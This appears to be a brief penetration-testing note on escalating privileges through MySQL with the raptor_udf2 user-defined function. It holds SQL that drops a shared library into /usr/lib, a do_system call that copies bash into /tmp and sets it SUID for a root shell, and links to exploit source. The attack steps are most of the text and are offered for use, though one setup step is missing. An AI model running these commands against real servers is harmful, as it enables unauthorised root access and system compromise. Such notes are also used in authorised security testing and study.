MySQL Privilege Escalation

MySQL Server version: 5.0.77 Source distribution

select * from foo into dumpfile '/usr/lib/raptor_udf2.so';

select * from mysql.func;

mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Spawn Shell from MYSQL https://it-tfuerst.de/2021/02/08/linux-privilege-escalation/

Exploit Code https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c

Exploit Code https://www.exploit-db.com/exploits/1518

Mysql general info for priv esc https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/payloads-to-execute

Last updated